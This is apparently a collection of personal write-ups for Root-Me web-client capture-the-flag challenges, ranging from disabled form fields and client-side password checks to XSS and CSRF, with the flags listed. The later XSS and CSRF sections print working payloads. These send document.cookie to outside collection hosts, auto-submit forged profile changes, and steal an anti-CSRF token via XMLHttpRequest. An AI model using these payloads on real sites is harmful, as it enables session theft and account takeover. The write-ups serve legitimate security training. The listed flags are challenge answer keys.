Web-Client

HTML - disabled buttons.txt

Hint : The text field and the "Member access" Button are disabled, What if we enable them and try them.

Difficulty : Very easy

Solution :

1 - Start with right click and both Inspect and view Page Source (client hacking first step always).
2 - In view source we find the code for the form (the text field and the client).

```
<form action="" method="post" name="authform">
        <div>
           <input disabled type="text" name="auth-login" value="" />
           <input disabled type="submit" value="Member access" name="authbutton" />
        </div>
      </form>
```

3 - The form takes two inputs, The text field and the button push (inside the div).
4 - Notice the "disabled" before input --> indicated that we cannot interact with them.
5 - We need to remove the "disabled" part.
6 - Search google on how to modify the html on the browser (hint right click and inspect).
7 - remove it and enter any word in the text field then put the key.
8 - Key : HTMLCantStopYou

Javascript - Authentication.txt

Hint : You need to enter a username and a password that the website needs, maybe he checks them on the client side.

Difficulty : Very easy

Solution :

1 - Right click and view page source
2 - Notice at top the html loads a javascript called login.js

```
<script type="text/javascript" src="login.js"></script>
```

3 - Inside the form he takes the username as "pseudo" and the password as "password"

```
Username : <input name="pseudo" /><br/>
Password : <input type="password" name="password" /></br></br>
```

4 - When the button is clicked he calls a method called "Login()" which is inside the Javascript he loaded (login.js)

5 - To check the code of login.js, right click then inspect , Sources tab , login.js

6 - You will see that inside the code the first makes all lower case (username and password) then checks (recall that he takes the username as "pseudo".

if (pseudo=="4dm1n" && password=="sh.org")

7 - enter username as 4dm1n and password as sh.org

Key: sh.org

Javascript - Source.txt

Hint : He asks for a passwords that must be hidden somewhere inside the client side that he checks.

Difficulty : Very easy

1 - Right click , View page source.
2 - Notice a java script that checks the password. Note that unlike last challenge the script is running inside the html directly not in another file like login.js.

if (pass == "123456azerty")

3 - Reload the website and enter this password

Key : 123456azerty

Javascript - Authentication 2.txt

Hint : learn how javascript lists(arrays) and loops work.

Difficulty : Easy

Solution :

1 - View page source --> he runs a js login.js (open it).
2 - Trace the code.
3 - Username should be "GOD" and password should be "HIDDEN" (All uppercases).

Key: HIDDEN

~~~~~~
~
~~~~~~
~

Javascript - Obfuscation 1

Hint : The key is encrypted on the client side and you need to figure out how to decrypt it.

Difficulty : Easy - Medium

Solution :

1 - View page source
2 - Notice the script encrypting the password with a function called unescape()

```
      pass =
'%63%70%61%73%62%69%65%6e%64%75%72%70%61%73%73%77%6f%72%64';
       .
```

```
.
.
if(h == unescape(pass)) {
```

3 - Search google for a tool to reverse the unescape in javascript. I used this website.

http://www.utilities-online.info/urlencode/#.XbXIXJMzZsM

4 - Decode it to key the key.

Key: cpasbiendurpassword

Javascript - Obfuscation 2

Hint : The key is encrypted on the client side like last challenge but this time x3.
Obfuscation is a way to render code unreadable, without destroying it's functionality. It is mostly done to protect the code and to make stealing it more difficult.

Difficulty : Easy - Medium

Solution :

1 - View page source
2 - Notice the script encrypting the password with a function called unescape() two times and then he uses String.fromCharCode that takes ascii values of characters.

```
	var pass =
unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102
%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");
</script>
```

3 - use same tool as last challenge two times and search for a tool that gets the ascii characters.

http://www.utilities-online.info/urlencode/#.XbXIXJMzZsM
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode

First output of unescape :
unescape("String.fromCharCode%28104%2C68%2C117%2C102%2C106%2C100%2C107%2C105%2C49%2C53%2C54%29")

Second output of unescape :
String.fromCharCode(104,68,117,102,106,100,107,105,49,53,54)

Third output of Stringfromcharcode:
"hDufjdki156"

Key: hDufjdki156

Javascript - Obfuscation 3

Hint : The key is encrypted on the client side and you need to figure out how to decrypt it.

Difficulty : Easy - Medium

Solution :

1 - View page source
2 - I neglected the code and focused on the part where he calls the method dechiffre with String["fromCharCode"]
(dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

3 - This code takes the string as utf-16 character encoding, by copy pasting this in code beautifier the output is this. (Can be done with unescape method in JS)
var x = String.fromCharCode("55,56,54,79,115,69,114,116,107,49,50")

4 - running this code in js printed the following :

run at https://js.do
Code :

<script>
var x = String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50)
alert(x)
</script>

Output :

786OsErtk12

Theory about what does the code do :
The code compares the input with the password in a rather weird way (obfuscation) by converting the input to utf-16 and then splitting it and then comparing. It will give you a wrong (faux) password anyway even if you give the key

Key: 786OsErtk12

XSS - Stored 1

Hint : Read about XSS stored , I had help from this
http://exp-blog.com/2019/01/13/pid-2922/
http://winnierusli.blog.binusian.org/2018/03/02/root-me-webclient-xss-stored-1/

Difficulty : Easy - Medium

Solution :

1- Create a url that u can get an http request on with

https://requestbin.com/

2- inject this in the message
<script>document.write("");</script>

In my case
<script>document.write("");</script>

And add any title

3- send any title and message so the website reads it and executes the injection

4- check the url that has the key.

Key: NkI9qe4cdLIO2P7MIsWS8ofD6

Javascript - Native code

https://enkhee-osiris.github.io/Decoder-JSFuck/

flag= toto123lol

CSRF - 0 protection

```
<form id= "csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile"
method="post" enctype="multipart/form-data">
                <input type="text" name="username" value="ahmed">
                <input type="checkbox" name="status" checked>
</form>
<script>document.getElementById("csrf").submit()</script>
<script>
document.write('<img src="https://enk1tzhl4iu1k.x.pipedream.net/' + document.cookie + '" /
>')
</script>
```

flag= Csrf_Fr33style-L3v3l1!

XSS - Reflected

```
xss' onmouseover=window.location='https://
enoljmmet013c.x.pipedream.net?'.concat(document.cookie) color='red
```

flag= r3fL3ct3D_XsS_fTw

XSS - Stored 2

Not easy :

```
"><script>document.write(%22<img src=${HOST}?
%22.concat(document.cookie.replace(%22 %22,%22&%22)).concat(%22 />%22))</script>
```

After getting admin cookies add them to your cookies

https://github.com/lyy289065406/CTF-Solving-Reports/tree/master/rootme/Web-Client/%5B15%5D%20%5B50P%5D%20XSS%20-%20Stored%202

Flag = E5HKEGyCXQVsYaehaqeJs0AfV

Flash - Authentication

view page source
you will find the flash code --> SWF
download some flash code extractor --> mostly windows tools , so i skipped this
then alot of reverse, crypto

I skipped this challenge
http://blog.naver.com/PostView.nhn?blogId=kby88power&logNo=221092658422&parentCategoryNo=&categoryNo=83&viewDate=&isShowPopularPosts=false&from=postView

Javascript - Obfuscation 4

https://lelinhtinh.github.io/de4js/

on hold .....

CSRF - token bypass

go to the contact page and send this in the message with any dummy email and make sure to change the username:

```
<form action="http://challenge01.root-me.org/web-client/ch23/?action=profile"
method="post" name="csrf_form" enctype="multipart/form-data">
        <input id="username" type="text" name="username" value="ahmed">
        <input id="status" type="checkbox" name="status" checked >
        <input id="token" type="hidden" name="token" value="" />
        <button type="submit">Submit</button>
</form>

<script>
        xhttp = new XMLHttpRequest();
        xhttp.open("GET", "http://challenge01.root-me.org/web-client/ch23/?
action=profile", false);
        xhttp.send();
        token_admin = (xhttp.responseText.match(/[abcdef0123456789]{32}/));
        document.getElementById('token').setAttribute('value', token_admin)
        document.csrf_form.submit();
</script>
```

you can find the flag in private

Idea : since we have an xss we can get the csrf token that is used to mitigate the csrf attack and we do this in the script

flag = Byp4ss_CSRF_T0k3n-w1th-XSS